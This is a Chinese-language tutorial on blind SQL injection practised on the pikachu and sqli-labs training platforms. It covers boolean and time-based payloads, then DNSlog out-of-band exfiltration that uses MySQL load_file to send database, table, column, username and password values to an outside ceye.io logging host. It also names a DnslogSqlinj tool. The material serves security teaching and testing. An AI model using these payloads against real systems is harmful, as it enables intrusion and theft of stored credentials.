一.前言
在我們的注入語句被帶入數據庫查詢但卻什么都沒有返回的情況我們該怎么辦?例如應用程序就會返回 一個"通用的"的頁面,或者重定向一個通用頁面(可能為網站首頁)。這時,我們之前學習的SQL注入辦 法就無法使用了。這種情況我們稱之為無回顯,如果頁面有信息顯示,我們稱之為有回顯。回顯狀態的 頁面沒什么可說的,無回顯的這種我們就可以采用盲注的手段
二.盲注
2.1?Boolian(布爾型)盲注
盲注,即在SQL注入過程中,SQL語句執行選擇后,選擇的數據不能回顯到前端,我們需要使用一些特 殊的方法進行判斷或嘗試,這個過程稱為盲注。
SQL盲注分為兩大類:基于布爾型SQL盲注、基于時間型SQL盲注
盲注的話其實手工來測很費時費力,所以一般我們采用工具來測,我們先手工看看效果。 通過pikachu的盲注功能看看效果
我們發現這個注入沒有效果了
采用sql語句中and的方法,返回正確或錯誤來構造,按照之前的思路構造一個SQL拼接:
vince' and extractvalue(0,concat(0x7e,version()))#
輸入后根據返回的信息判斷之前的思路 不再適用。
那么我們這樣搞:輸入語句
select ascii(substr(database(),1,1))>xx;
通過對比ascii碼的長度, 判斷出數據庫表名的第一個字符。
注:substr()函數 substring -- sub子集 string -- 字符串 子字符串 aabbcc -- aa bb aab aabbc pikachu 從第一個位置開始取出1個字符 ascii('p')
substr(string,start,length)
string(必需)規定要返回其中一部分的字符串。start(必需)規定在字符串的何處開始。length(可選)規定被 返回字符串的長度。
通過和數字的對比,我們看到結果有1和0,1表示真,0表示假,推斷出數據庫名稱首字母是ascii表上的112數字,代表字母為p
但是一個一個字母的查詢,查詢多少個為止呢?我們同樣可以使用length來判斷表名的長度,判斷出長 度后就能多次輸入payload來爆破出每一個表名的字符。輸入語句:
vince' and length(database())=7 #
注:select
語句不能直接嵌套在?and
后面這樣使用,所以length前面不要加上select
回到pikachu平臺按照之前的邏輯,我們構造語句,如果返回1,那么就會爆出選擇的信息,返回0,就 會返回 您輸入的username不存在! 。按照之前邏輯,輸入sql語句:
vince' and ascii(substr(database(),1,1))=112#
通過這個方法,就能得到后臺數據庫的名稱的第一個字符的ascii碼,注意vince是一個數據庫中存在的用戶名昂。同之前的辦法,我們也可以獲得information_schema.tables里的數據。但在實際操作中通常不會使用手動盲注的辦法,可以使用sqlmap等工具來增加盲注的效率。不斷的猜解
結果沒有報錯,說明存在這個注入點,布爾型盲注基本都是通過ascii碼來測試的。
2.2?base on time(時間型)盲注
到base on time盲注下,輸入上個演示中設置好的payload:
vince' andascii(substr(database(),1,1))=112#
返回的信息發現不存在注入點。那這樣就不能進行注入 了?當然還要繼續嘗試,其實可以通過后端的執行時間來進行注入。這里會用到的 payload:
vince'and sleep(5)#?
那么你會看到頁面等待了5秒鐘才出結果,說明有注入點
基于時間的延遲,構造一個拼接語句:
vince' and if(substr(database(),1,1)='X' (猜測點)',sleep(3),null#
,輸入后,如果猜測真確,那么就會響應3秒,如果錯誤會立刻返回錯誤。輸入:
vince' and if(substr(database(),1,1)='p',sleep(3),null)#
,在web控制臺下,判斷出database的表名的一個字符為p。通過這個辦法我們就能逐步向下獲取數據。判斷猜解。
時間型盲注經常使用的函數: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的內置 函數,是將MD5(1)執行10000000次以達到延遲的效果
如果sleep被防御了,可以使用benchmark。
vince' and if(substr(database(),1,1)='p',benchmark(10000000,MD5(1)) ,null)#
三.DNSlog方式
dnslog注入也可以稱之為dns帶外查詢,Dns在域名解析時會在DNS服務器上留下域名和解析ip的記錄, 可以在dns服務器上查詢相應的dns解析記錄,來獲取我們想要的數據。
大致原理:
就是通過注入A網站的地址,將無回顯的敏感數據帶出放到A網站的記錄上
具備DNSlog日志記錄功能的網站A我們不用自己搭建,可以采用如下三個,當然如果你想自己搭建也是可以的:
http://ceye.io/ 知道創宇公司提供的
http://www.dnslog.cn/
http://admin.dnslog.link #最近發現,這個好像不太好用了
我們就看看第一個網址:
我們數據都會回顯在這里
條件:
1、需要mysql用戶具備讀文件的權限,因為要借助到mysql的load_file讀取文件的函數,權限不夠的 話,不能調用這個函數。其實只要mysql中配置項中開啟了這個secure_file_priv配置,就可以通過sql語 句來執行文件讀寫操作。
2、目標mysql數據庫服務器能夠訪問外網 其實load_file()不僅能夠加載本地文件,同時也能對諸如 \\www.xxx.com 這樣的URL發起請求。這樣 的url我們稱之為UNC路徑,簡單了解即可。就借助load_file函數能夠訪問某個網址的特性,來進行DNSlog注入,注入語句如下
select load_file('\\\\xxx.xxxx.xxx\\xx');#xxx.xxxx.xxx\\xx是某個網址
第一步:先看一下網址域名 f5iwy3.ceye.io
第二步:將網址添加到sql語句中
select load_file('\\\\xxx.f5iwy3.ceye.io\\abc');
第三步:開啟MySQL的讀取文件功能的配置項
secure_file_priv=""
第四步:在mysql命令行先執行一下我們的寫好的sql語句
第五步:看一下日志記錄
發現,有記錄了,并且看到了pp這個數據,那么我們就可以繼續構造獲取敏感數據的sql語句了
select load_file(concat('//',(select database()),'.f5iwy3.ceye.io/abc')) #獲取庫名
第六步:開始注入
3.1?獲取當前庫名
and select * from member where id=1 and (select load_file(concat('//',(select database()),'.f5iwy3.ceye.io/abc')));#
and select * from member where id=1 and (select load_file(concat('\\\\',(select database()),'.f5iwy3.ceye.io\\abc')));#
3.2?獲取表名
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.f5iwy3.ceye.io\\abc')));#
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.f5iwy3.ceye.io\\abc')));#
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'.f5iwy3.ceye.io\\abc')));#
修改limit后面的數字即可將每個表名都查出來
3.3?查詢字段名
and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='member' limit 0,1),'.f5iwy3.ceye.io\\abc')));#
同樣也是修改limit后面的數字,將member表的字段名一個一個的取出來
3.4?查詢數據
查詢一下member的username和pw字段的數據
and (select load_file(concat('\\\\',(select username from member limit 0,1),'.f5iwy3.ceye.io\\abc')));#
and (select load_file(concat('\\\\',(select pw from member limit 0,1),'.f5iwy3.ceye.io\\abc')));#
我們只需要把這個用于其他類似于字符型注入或者數字型注入里去測試就好了
四.DNSlog注入工具
這個工具不太好用了,也好久沒有更新了,知道有這樣的工具即可,有興趣的可以自己去找找新的工 具,這個我們就不演示了。
有一個專門針對DNSlog注入的工具,叫做DNSlogSqlinj,python27語言寫的。
GitHub - ADOOO/DnslogSqlinj
修改一下配置文件里的APItoken和DNSurl就可以使用了
用法: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+